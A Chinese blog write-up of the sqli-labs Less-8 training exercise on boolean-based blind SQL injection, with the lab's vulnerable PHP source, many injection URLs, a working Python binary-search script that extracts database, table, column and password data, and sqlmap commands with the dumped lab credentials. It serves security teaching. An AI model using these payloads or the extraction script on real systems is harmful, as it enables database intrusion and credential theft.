sqli-lab-less8

最新推荐文章于 2024-05-17 16:27:00 发布
最新推荐文章于 2024-05-17 16:27:00 发布
阅读量63 收藏
点赞数
分类专栏： sql注入 文章标签： 网络 网络安全 sql web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Sa1nZen/article/details/132056001
版权
sqli-lab-less8

一、靶标地址

Less-8 GET-Blind-Boolian Based-Single Quotes
#单引号布尔盲注
http://127.0.0.1/sqli/less-8/

二、漏洞探测

由于探测的fuzz参数增多使用python脚本进行探测

import requests

url="http://192.168.128.159/sqli/less-8/index.php?id=1"
header={
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36',
	'Accept-Language': 'en-US,en;q=0.9',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}
file = open("./fuzz.txt","r")
payloads = file.read().splitlines()

for i in range(len(payloads)):
    print("==============This is "+ str(i) + payloads[i]+"==============")
    payload=payloads[i]
    response=requests.get(url+payload,headers=header)
    print(response.text)

结果
' --+   正常回显
" --+   正常回显
') --+  无回显
") --+  正常回显
')) --+ 无回显
")) --+ 正常回显

推测语句为select * from users where id='id' limit 0,1;

三、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

//漏洞语句部分
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysql_error()); #无报错信息回显
	//echo "You have an error in your SQL syntax"; #无报错回显
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

四、黑盒与白盒测试

http://127.0.0.1/sqli/less-8/?id=1' and 1=1 --+
#You are in...........

http://127.0.0.1/sqli/less-8/?id=1' and 1=2 --+
#无回显

#可用bool型盲注

五、脚本撰写

脚本有两种思路：
一是单纯爆破，利用 =
二是二分法爆破，利用ascii码大小判断(效率更高)


bool盲注常用的函数
database()      显示数据库名称
left(a,b)       从左侧截取a的前b位
substr(a,b,c)   从b位置开始，截取字符串a的c长度
mid(a,b,c)      从位置b开始，截取a字符的c位
length()        返回字符串的长度
ascii()         将某个字符转换为ascii值
char()          将ascii码转换为对应的字符
if(condition,value_if_true,value_if_false)	判断函数

#爆破的思路是
#数据库版本字符串长度
http://127.0.0.1/sqli/less-8/?id=1' and length(version())=5 --+
http://127.0.0.1/sqli/less-8/?id=1' and if(length(version())=5,1,0) --+

#数据库版本
http://127.0.0.1/sqli/less-8/?id=1' and left(version(),1)=5 --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left(version(),1)=5,1,0) --+

#数据库字符串长度
http://127.0.0.1/sqli/less-8/?id=1' and length(database())=5 --+
http://127.0.0.1/sqli/less-8/?id=1' and if(length(database())=5,1,0) --+

#数据库
#测试数据库名第一位是否为s
http://127.0.0.1/sqli/less-8/?id=1' and left(database(),1)=s --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left(database(),1)=s,1,0) --+
#测试数据库名第一位是否为大于a
http://127.0.0.1/sqli/less-8/?id=1' and left(database(),1)>'a' --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left(database(),1)>'a',1,0) --+
#测试数据库名前两位是否为大于sa
http://127.0.0.1/sqli/less-8/?id=1' and left(database(),2)>'sa' --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left(database(),2)>'sa',1,0) --+
#测试数据库的第一位是否大于80
http://127.0.0.1/sqli/less-8/?id=1' and ascii(substr(database(),1,1)) >80 --+
http://127.0.0.1/sqli/less-8/?id=1' and if(ascii(substr(database(),1,1)) >80,1,0) --+
#测试数据库的第二位是否大于80
http://127.0.0.1/sqli/less-8/?id=1' and ascii(substr(database(),2,1)) >80 --+
http://127.0.0.1/sqli/less-8/?id=1' and if(ascii(substr(database(),2,1)) >80,1,0) --+

#数据表个数#数据表名长度#数据表名
#通过变换xyz的值来判断
http://127.0.0.1/sqli/less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)="z" --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)="z",1,0) --+

#字段个数#字段名长度#字段名
#通过变换xyz的值来判断
http://127.0.0.1/sqli/less-8/?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit x,1),y)="z" --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit x,1),y)="z",1,0) --+

#字段的值
http://127.0.0.1/sqli/less-8/?id=1' and left((select username from users limit x,1),y)="" --+
http://127.0.0.1/sqli/less-8/?id=1' and left((select password from users limit x,1),y)="" --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left((select username from users limit x,1),y)="",1,0) --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left((select password from users limit x,1),y)="",1,0) --+

#二分法爆破
#脚本并非爆破所有表，而是根据目标一步一步获得以减少流量
#爆破数据库名长度和数据库名
import requests

url="http://192.168.128.159/sqli/less-8/index.php?id=1"
header={
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36',
	'Accept-Language': 'en-US,en;q=0.9',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}
target_str = "You are in..........."

"""
def getdbslen():#获取数据库名长度
	global current_dbs_len
	for i in range(1,100):
		payload=f"\' and if(length(database())={i}, 1, 0) --+"
		#print(url+payload)
		response=requests.get(url+payload,headers=header)
		#print(response.text)
		if target_str in response.text:
			current_dbs_len = i
			print("The length of the database is : " + str(i))
			break
"""
def getdbs():#获取数据库名
    global current_dbs_name
    current_dbs_name = ""
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            payload=f"\' and if(ascii(substr(database(),{i},1)) >{mid},1,0) --+"
            response=requests.get(url+payload,headers=header)
            if target_str in response.text:
                low = mid+1
            else:
                high = mid
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:#以此判断长度
            break
        current_dbs_name += chr(mid)
    print("The database is "+current_dbs_name)


def gettable(): #获取表名
    global tables_name
    tables_name=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            payload=f"\' and if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),{i},1)) >{mid},1,0) --+"
            #已知数据库名security
            response=requests.get(url+payload,headers=header)
            if target_str in response.text:
                low = mid+1
            else:
                high = mid
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:#以此判断长度
            break
        tables_name += chr(mid)
    print("The tables is "+tables_name)

def getcolumn(): #获取字段名
    global column_name
    column_name=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            payload=f"\' and if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{i},1)) >{mid},1,0) --+"
            #已知数据表名users
            response=requests.get(url+payload,headers=header)
            if target_str in response.text:
                low = mid+1
            else:
                high = mid
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:#以此判断长度
            break
        column_name += chr(mid)
    print("The column_name is "+column_name)

def getcolumn_value(): #获取字段值
    global column_value
    column_value=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            payload=f"\' and if(ascii(substr((select(group_concat(password))from(users)),{i},1)) >{mid},1,0) --+"
            #已知字段名password
			#select(group_concat(password))from(users);
			#select group_concat(password) from users;
            response=requests.get(url+payload,headers=header)
            if target_str in response.text:
                low = mid+1
            else:
                high = mid
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:#以此判断长度
            break
        column_value += chr(mid)
    print("The column_value is "+column_value)

getdbs()
gettable()
getcolumn()
getcolumn_value()

六、sqlmap

sqlmap -u http://127.0.0.1/sqli/less-8/index.php?id=1

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 3398=3398 AND 'ldbo'='ldbo

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8269 FROM (SELECT(SLEEP(5)))bGfI) AND 'MPMN'='MPMN


#使用bool盲注探测数据库
sqlmap -u http://127.0.0.1/sqli/Less-8/?id=1 --technique B --dbs --batch
#--batch 选择默认配置
available databases [6]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] test

sqlmap -u http://127.0.0.1/sqli/Less-8/?id=1 --technique B -D security --tables --batch
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

sqlmap -u http://127.0.0.1/sqli/Less-8/?id=1 --technique B -D security -T users --columns --batch
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+

sqlmap -u http://127.0.0.1/sqli/Less-8/?id=1 --technique B -D security -T users -C username,password --dump --batch
#--dump获取数据
Database: security
Table: users
[13 entries]
+----------+------------+
| username | password   |
+----------+------------+
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| admin4   | admin4     |
| secure   | crappy     |
| Dumb     | Dumb       |
| dhakkan  | dumbo      |
| superman | genious    |
| Angelina | I-kill-you |
| batman   | mob!le     |
| Dummy    | p@ssword   |
| stupid   | stupidity  |
+----------+------------+

七、总结

1、sql必备语句
查库：select schema_name from information_schema.schemata
查表：select table_name from information_schema.tables where table_schema=‘security’（此处拿security库为例）
查字段：select column_name from information_schema.columns where table_name=‘users’（此处拿users表例）
查字段的值：select username,password from security.users（此处拿username，password字段为例）
2、盲注
select * from website where id=1 and 判断语句;
select * from website where id=1 or 判断语句;
#可以根据and or后面添加判断语句来进行盲注
3、盲注爆破的思路
数据库名长度
数据库名
数据表个数
数据表名长度
数据表名
字段个数
字段名长度
字段名
Sa1nZen
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
sqli-lab通关txt
07-22
sqli-lab1~10的通关txt，其中包含了注入代码以及相关注解 代码由于存储在txt中，无法直接复制使用，请手打。 （可能是由于编码问题）
【SQLI-Lab】-Less3
xinyue9966的博客
01-22 207
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入）前言一、GET字符型注入二、步骤总结 前言 一、GET字符型注入 执行数据库查询，并在回显点展示。 用户可以看到数据库查询出错时的错误语句，就可以观察报错语句分析出查询语句结构，从而构造特殊的payload进行注入，并从回显点中获取想要的信息。 二、步骤 通过报错判断类型和闭合 http://192.168.135.149/sqli/Less-3/?i
sqli-lab教程Less-9
Brucye
03-23 377
less-9 sqli-lab通过各种方式（整型注入，字符注入，报错注入，布尔盲注，时间盲注，堆叠注入…）爆出库表字段拿到字段值。 时间盲注 学习sqli注入必备语句： 查库：select schema_name from information_schema.schemata 查表：select table_name from information_schema.tables where table_schema=‘security’（此处拿security库为例） 查字段：select co
【SQLI-Lab】-Less9
xinyue9966的博客
01-27 221
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注）前言一、GET字符型注入二、步骤总结 前言 一、GET字符型注入 执行数据库查询，并在回显点展示。 用户可以看到数据库查询出错时的错误语句，就可以观察报错语句分析出查询语句结构，从而构造特殊的payload进行注入，并从回显点中获取想要的信息。 二、步骤 和第7题思路过程一样，不过不需要写入、闭合字段后，开始用burp suite爆，具体过程不再细讲。 盲注爆库长度payloa
Sqli-lab：Less-1教程
m0_72286569的博客
01-28 516
1，当输入时会显示显示对应的Login name与Password，可以证明我们输入的内容是在数据库里面查询2，判断SQL语句是否是拼接a,当我们输入1’时会报错b,当我们输入1'--+时不会报错，就可以使用联合查询的方式进行sql注入。
第三节 Sqli-lab环境搭建-01
09-15
第三节 Sqli-lab环境搭建-01
phpstudy+靶场sqli-labs-master下载
11-08
phpstudy+靶场sqli-labs-master下载
sqli-lab注入练习源码
06-25
本套源码是sqli-lab，练习sql再好不过，将源码用phpstudy搭建即可开始练习
windows环境下安装sqli-labs
11-04
windows server 2012 环境下，安装sqli-labs的详细教程，适合新手小白，大神可以参考一下，有不足的地方请联系我。
力控7.2与宏电通过内网连接UDP+DDP
xkyby1992的专栏
05-17 686
本文主要介绍力控7.2与宏电通过内网连接UDP+DDP的指导文档
netstat协议
lovemelovefish的博客
05-15 370
本机各端口的网络连接情况。
Linux：网络管理命令之ss
最新发布
hhd1988的专栏
05-17 481
Linux：网络管理命令之ss
Kubernetes——CNI网络组件
一坨小橙子的博客
05-14 633
Kubernetes三种接口、三种网络、VLAN和VXLAN、CNI网络插件（Flannel与Calico）
自学网络安全（黑客）
2301_77160226的博客
05-16 717
网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。
VRRP协议-负载分担配置【分别在路由器与交换机上配置】
m0_49351110的博客
05-13 919
VRRP备份组1，虚拟pc1的网关地址10.1.1.254。VRRP备份组2，虚拟pc2的网关地址10.1.1.253。VRRP备份组1，虚拟pc3的网关地址30.1.1.254。VRRP备份组2，虚拟pc4的网关地址40.1.1.253。使用SW2与SW3两台设备分别进行VRRP备份组。使用R1与R2两台设备分别进行VRRP备份组。
Lab Checkpoint 3: the TCP sender
2301_79140115的博客
05-14 326
总的来说，这段代码实现了一个 TCP 协议发送端的核心功能，负责管理数据发送、重传、窗口大小调整等操作，确保数据能够可靠地传输到接收端。
[muduo网络库]——muduo库TcpConnection类，万字总结（剖析muduo网络库核心部分、设计思想）
m0_73537205的博客
05-13 1748
muduo 是由陈硕大佬个人开发的 TCP 网络库，本专栏使用c++11重构了Muduo库中核心的Multi-Reactor架构，剖析大佬核心的代码设计思想，希望能够理清自己的思路，也希望能够帮助到大家。
sqli-lab安装
09-05
要安装sqli-lab，您需要按照以下步骤进行操作： 1. 首先，确保您具有Web服务器环境。您可以使用Apache、Nginx或其他适合您的环境的Web服务器。 2. 下载sqli-lab的代码。您可以从GitHub存储库中获取它，链接：...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值